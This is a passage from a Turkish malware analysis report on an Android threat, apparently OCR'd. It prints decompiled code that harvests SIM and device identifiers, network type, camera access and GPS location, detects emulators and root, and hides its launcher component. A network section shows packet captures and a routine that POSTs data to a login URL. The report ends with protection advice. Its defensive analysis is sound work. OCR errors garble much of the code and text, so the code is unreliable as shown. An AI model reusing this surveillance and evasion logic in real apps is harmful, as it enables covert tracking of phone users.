} catch (Exception e) {
e.printstackTrace();

Sekil 26. Tetiklenme ayarlari

Bulastigi cihazin seri numarasini, mobil iletisimi hangi teknoloji ile sagladigi gibi 6nemli
bilgileri almaktadir.

private static String s() {

if (Build.VERSION.SDK_INT == 26) {
return t{);
try {
Class<?> cls = Class.TorName("android.os.SystemProperties");
return (String) cls.getMethod("get™, String.class, String.class).invoke(cls, " no", "unknown");

} catch (Exception unused) {
return "";




private static String h(Context context) {

try {

return {(TelephonyManager) context.getSystemService("phone”)).getSimSerialNumber();
+ catch (Exception unused) {

return "";

[

private static String i(Context context) {

try {

return {(TelephonyManager) context.getSystemService("phone”)).getDeviceld();
1 catch (Exception unused) {

return "";

[

private static String j(Context context) {

b

try {

return {(TelephonyManager) context.getSystemService("phone")).getSubscriberId();
} catch (Exception unused) {

return "";

[

private static String e(Context context) {
String str;
try {

NetworkInfo activeNetworkInfo = ((ConnectivityManager) context.getSystemService("connectivity")).getActiveNetworkInfo();
if (activeNetworkInfo == null) {
return "none";
1
if (activeNetworkInfo.getType() == @) {
switch (activeNetworkInfo.getSubtype()) {
case 1:
case 2:
case 4:
case 7:
case 11:
str = "2G6";
break;
case 3:
case 5:
case G:
case 8
case 9:
case 10:
case 12:
case 14:
case 15:
str = "3G6";
break;
case 13:
str = "4G6";
break;
default:
return "none";

1 else if (activeNetworkInfo.getType() != 1) {
return "none";

1 else {
str = UtilityImpl.NET_TYPE_WIFI;

1

return str;

Sekil 27. Cihaz seri numarasi, mobil iletisim teknolojisi(2G,3G,4G)




Zararh yazihmin kameradan goriinti yakalayabildigi ve kamera bilgilerini sorguladigi tespit
edilmistir.

public final class b {
public static a a(int i) {
int numberOfCameras = Camera.getNumberOfCameras();
if (numberOfCameras == @) {
com.king.zxing.o.b.h({"No cameras'");
return null;
} else if (i == numberOfCameras) {

B
i

com.king.zxing.o.b.h("Requested camera does not exist: " + 1ij;
return null;
T else {
if (1 <= -1) {
i=8e;
while (i < numberOfCameras) {
Camera.CameraInfo cameraInfo = new Camera.Cameralnfo();
Camera.getCameralnfo(i, cameraInfo);
if (CameraFacing.values()[cameraInfo.facing] == CameraFacing.BACK) {
break;
3
i++;
1
if (i == numberOfCameras) {
com.king.zxing.o.b.T("No camera fTacing " + CameraFacing.BACK + "; returning camera #8");
i=0;
1
1
com.king.zxing.o.b.f("Opening camera #" + 1);
Camera.CameralInfo cameraInfo2 = new Camera.Cameralnfo();

Camera.getCameraInfo(i, cameraInfo2);
Camera open = Camera.open(i);
if {open == null) {

return null;

¥

return new a(i, open, CameraFacing.values()[cameralnfo2.facing], cameralnfo2.orientation);

Sekil 28. Kamera kontrolii

Emilatorde calisip analiz edildigini anlamak icin “ro.kernel.gemu” degerini kontrol
etmektedir. Bu deger eger 1 ise, ADB kabugunu root olarak ¢alistirir, bunun anlami zararlinin
calistigi ortamin bir emiulator oldugudur. Clinki fiziksel bir cihazda ADB kabugu, root degil,
normal bir kullanici hakkiyla ¢alismaktadir.

class chZ extends HashMap<String, String> {
public c$2() {

put(™aa", "ro.arch™);
put("ab", "ro.chipname");
put("ac", "ro.dalvik.vm.native.bridge");
put(ai.au, "persist.sys.nativebridge");
put("ae", "ro.enable.native.bridge.exec");
put("af", "dalvik.wm.isa.x86.Teatures");
put("ag", "dalvik.wm.isa.xB86.variant");
put("ah", "ro.zygote");
put("ai", "ro.allow.mock.location");
put("aj", "ro.dalvik.vm.isa.arm"};
put("ak", "dalvik.wvm.isa.arm.Teatures");
put("al", "dalvik.wm.isa.arm.variant");
put("am", "dalvik.wm.isa.armG4.features");
put("an", "dalvik.wm.isa.arm&4.wvariant");
put("ao", "wZw.os.rooted");
put("ap", "ro.build.user™);
put("ag", "ro.kernel.gemu");
put("ar", "ro.hardware"),
put("as", "ro.product.cpu.abi™);
put("at", "ro.product.cpu.abilist");
put("au", "ro.product.cpu.abilist3z2");
put("awv", "ro.product.cpu.abilistg4");

Sekil 29. “ro.kernel.qemu” degeri

y




Zararli yazilim, analiz edilmemek igin uygulama baslaticisini kaldirarak cihaz tzerinde gizlilik
saglamaktadir.

public static void disableService(Context context) {
ComponentName componentName = new ComponentName(context, j.channelService);
PackageManager packageManager = context.getPackageManager();
try {
Alog.d("UtilityImpl", "disableService,comptMame=" + componentName.toString(), new Object[0]);
if [packageManager.getServiceInfo(componentName, EventType.PIND_RECEIVE).enabled) {
packageManager.setComponentEnabledSetting(componentName, 2, 1);
killService(context);
1

catch (PackageManager.NameNotFoundException unused) {

B
i

Sekil 30. Uygulama baslaticisinin kaldirilmasi

Cihazin root yetkisine sahip olup olmadigini kontrol etmektedir.

private static boolean c() {
if (new File("/system/app/Superuser.apk").exists()) {
return true;

}
try {
if (!new File("/system/app/Kinguser.apk").exists()) {
return true;
1

return false;
} catch (Exception unused) {
return false;

1

private static boolean d{) {
return new e().a(e.a.check_su_binary) != null;

private static boolean e() {
String[] strArr = {"/bin", "/system/bin/", "/system/xbin/", "/system/sbin/", "/sbin/", "/vendor/bin/", "/susbin/", "/data/local/xbin/*, "/dataslocal/bins", "/system/sd/
for (int 1 = 8; 1 < 12; i++) {

String str = strArr[i];
if (new File({str + "su").exists()) {
return true;

1

1
1
return false;

Sekil 31. Root yetki kontrolii

Cihazin operator saglayici bilgilerini kontrol etmektedir.

TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone”);
str = telephonyManager.getSimOperatorMame( );
Sekil 32. Operator saglayici bilgilerinin kontrolii

Cihazin enlem-boylam bilgilerini almaktadir.

if (this.addParams) {
Location $%a2 = q.d.valueOf.5%a(context);
HashMap hashMap4 = new HashMap(3);
if ($%a2 '= null) {
hashMap4.put("lat", String.value0f($%a2.[EEIEISIINE()));
hashMap4.put(ServerParameters.LON_KEY, String.valueOf($%a2.getlongitude()));
hashMap4.put("ts", String.valueOf($%a2.getTime()));

Sekil 33. Enlem-boylam bilgileri

y



Zararli yazihm belirtilen saglayicidan, bilinen son konum bilgilerine GPS Uizerinden
erismektedir.

public final Location $3a(dfonNull Context context) {
try {
LocationManager locationManager = (LocationManager) context.getSystemService(MsgConstant.KEY LOCATION _PARAMS);
Location lastKnownLocation = $$a(context, new String[]{"android.permission.ACCESS_FINE_LOCATION", "android.permission.ACCESS_COARSE_LOCATION"}) ? locationManager.g

Location lastKnownlLocation2 = $$a(context, new String[]{"android.permission.ACCESS _FINE_LOCATION"}) ? locationManager .[[EAESEGEITIGEEEGE ("ops") : null;
if (lastKnownLocation? == null && lastKnownLocation == null) {
lastKnownLocation = null;
} else if (lastKnownLocation2 != null || lastKnownLocation == null) {
if ((lastKnownlLocation == null && lastKnownlocation2 != null) || 6BG08 >= lastKnownlLocation.getTime() - lastKnownlLocation2.getTime()) {
lastKnownLocation = lastKnownlocation2;

}

if (lastKnownLocation null) {
return lastknownLocation;

return null;
} catch (Throwable unused) {
return null;

Sekil 34. GPS erisimi

Ag Analizi

185[.]199[.]108[.]133[:]443 IP adresine erisim saglamaya calismaktadir.

14 20.788171 10.3.0.10 1.1.1.1 TCP 54 48876 + 853 [ACK] Seq=1 Ack=1 Win-81688 Len=
15 20.788242 10.3.0.10 1.1.1.1 TLsvi.2 189 Ciient Felis
16 20.789983 1.1.1.1 10.3.0.10 Tce 54 853 + 40876 [ACK] Seq-1 Ack=136 Win-67584 Len-
17 20.790492 1.1.1.1 10.3.0.10 TLSw1.2 2781 Server Hello, Certificate, Server Key Exchange, Server Hello Done
18 20.790772 10.3.0.10 1.1.1.1 TcP 54 48576 » 853 [ACK] Seq=136 Ack=1361 Win=84352 Len=0
19 26.798786 10.3.8.10 1.1.1.1 Tce 54 48876 » 853 [ACK] Seq=136 Ack=2721 Win-87848 Len=0
20 26.798792 10.3.8.10 1.1.1.1 Tce 54 48876 » 853 [ACK] Seq=136 Ack=2728 Win=87848 Len=0
21 20.796861 10.3.8.10 1.1.1.1 TLSv1.2 147 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
<
> Frame 15: 189 bytes on wire (1512 bits), 189 bytes captured (1512 bits)
> Ethernet II, Src: 82:@8:08:5a:22:3e (B2:0@:80:5a:22:3e), Dst: ba:@3: :5c:9a (ba:@3:a2:91:5¢:9a)
> Internet Protocol Version 4, Src: 16.3.8.10, Dst: 1.1.1.1
> Transmission Control Protocol, Src Port: 48876, Dst Port: 853, Seq: 1, Ack: 1, Len: 135
> Transpert Layer Security
88 22.947153 10.3.0.10 1.1.1.1 TCP 54 40886 > 853 [ACK] S5eq=388 Ack=3487 Win=02480 Len=0
91 22.949881 16.3.0.10 185.199.108.133 TCP 66 35052 - 443 [ACK] Seq=1 Ack=1 Win=8168@ Len=8 TSval=3415873736 TSecr=2514189313 =
92 22.956745 10.3.0.10 185.199.108.133 TLSv1.3 583 Client Hello
93 22.957836 185.199.108.133 10.3.0.10 TCP 66 443 + 35852 [ACK] Seg=l Ack=518 Win=143872 Len=e TSval=25141@9321 TSecr=3415873743 =
94 22.959194 185.199.108.133 10.3.8.10 TLSv1.3 4373 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data, App.
95 22.959611 10.3.0.10 185.199.108.133 TCP 66 35052 + 443 [ACK] 5eg=518 Ack=1349 Win=84352 Len=8 TSval=3415873746 TSecr=2514189322 -
P w2 aan 105 non 1o 232 —rn S5 3TAET . ARD TAMM] CanoE19 MoL_AET LSa_9TAAR §AmoB TC.-1-3A1E@TITAE TCArnAEaATAAIIN
>

Frame 98: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)

Ethernet II, Src: ba:@3:a2:91:5c:9a (ba:83:a2:91:5c¢:9a), Dst: 62:88:00:5a:22:3= (82:80:00:5a:22:3e)
Internet Protocol Version 4, Src: 185.199.108.133, Dst: 10.3.0.10

© Transmission Control Protocol, Src Port: 443, Dst Port: 35852, Seq: @, Ack: 1, Len: 8

Sekil 35. IP adresine erisim




https[:]//login[.]sina[.]Jcom[.]cn/visitor/signin adli URL adresine post istegi atmaya calismakta
ve gelen veri uzunlugunu kontrol ederek sunucunun durum kodunu kontrol etmektedir. Eger
200 (OK) degil ise baglantinin basariz oldugu anlasiimaktadir. S6z konusu kodlarin dinamik
analizde incelenmesi sonucunda herhangi bir yanita rastlanilmamistir.

private St z f(5t 2 str) {
try {
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(“https://login.sina.com.cn/visitor/signin”).openConnection();
httpURLConnection. setRequestMethod( "POST");
httpURLConnection, setReadTimeout(30082);
httpURLConnection. setConnectTimeout(1020);
httpURLConnection. setDoOutput(true);
httpURLConnection.setDolnput(true);
httpURLConnection. setUseCaches(false);
Dutputs ocutputStream = httpURLConnection.getOutputStream();
outputStream.write(str.getBytes());
outputStream.flush();
if (httpURLConnection.getResponseCode() != 20@)
return null;

inputStream = httpURLConnection.getInputStream();
Byt 2 n byteArrayOutputStream = new Eyte OutputStream();
byte[] bArr = new byte[10824];
while (true) {
int read = inputStream.read(bArr);

if (read != -1)
byteArrayOutputStream.write(bArr, 8, read);
} else

inputStream.close();
byteArrayOutputStream.close();
return new S5t 2(byteArrayOutputStream. toByteArray());

Sekil 36. POST istegi atilmasi ve baglanti kontrolii



https://login.sina.com.cn/visitor/signin

<.
4

Korunma Yontemleri

-Uygulamalara gereksiz izinler verilmemelidir.

- Google Play Protect gibi kot amagli yazilimdan koruma yazilimi giincel ve galisir durumda
olmahdir.

- isletim sistemi giincel tutulmalidir.

- Kaynagi belirsiz olan uygulamalar indiriimemeli ve yliklenmemelidir.

- E-posta ekleri agilirken dikkatli olunmalidir.

- Slipheli E-posta ekleri uzmanlar tarafindan incelenmeli veya kaldiriimalidir.
- Erisilebilirlik izni isteyen uygulamalar dikkatle incelenmelidir.

- Resmi uygulama marketlerinin disindan uygulama kurulmamalidir.

- 3. Parti uygulama yikleme ayari devre disi birakilmalidir.

- Cok faktorli kimlik dogrulamasi kullaniimalidir.
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